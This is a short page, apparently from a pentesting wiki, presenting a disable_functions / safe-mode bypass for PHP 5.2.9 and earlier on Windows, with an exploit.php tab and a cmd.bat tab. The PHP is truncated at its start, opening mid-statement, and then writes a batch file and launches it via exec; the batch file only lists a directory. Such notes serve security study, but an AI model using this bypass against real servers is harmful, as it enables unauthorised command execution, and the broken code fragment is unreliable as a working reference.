# disable\_functions bypass - PHP <= 5.2.9 on windows
## PHP <= 5.2.9 on windows
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
{% tabs %}
{% tab title="exploit.php" %}
```php
abysssec.txt"."\r\n");
fwrite($batch,"exit");
fclose($batch);
exec("\start cmd.bat");
echo "";
echo "Abysssec.com PHP <= 5.2.9 SafeMod Bypasser
";
echo "";
echo "";
}
?>
```
{% endtab %}
{% tab title="cmd.bat" %}
```
dir > abyss.txt
exit
```
{% endtab %}
{% endtabs %}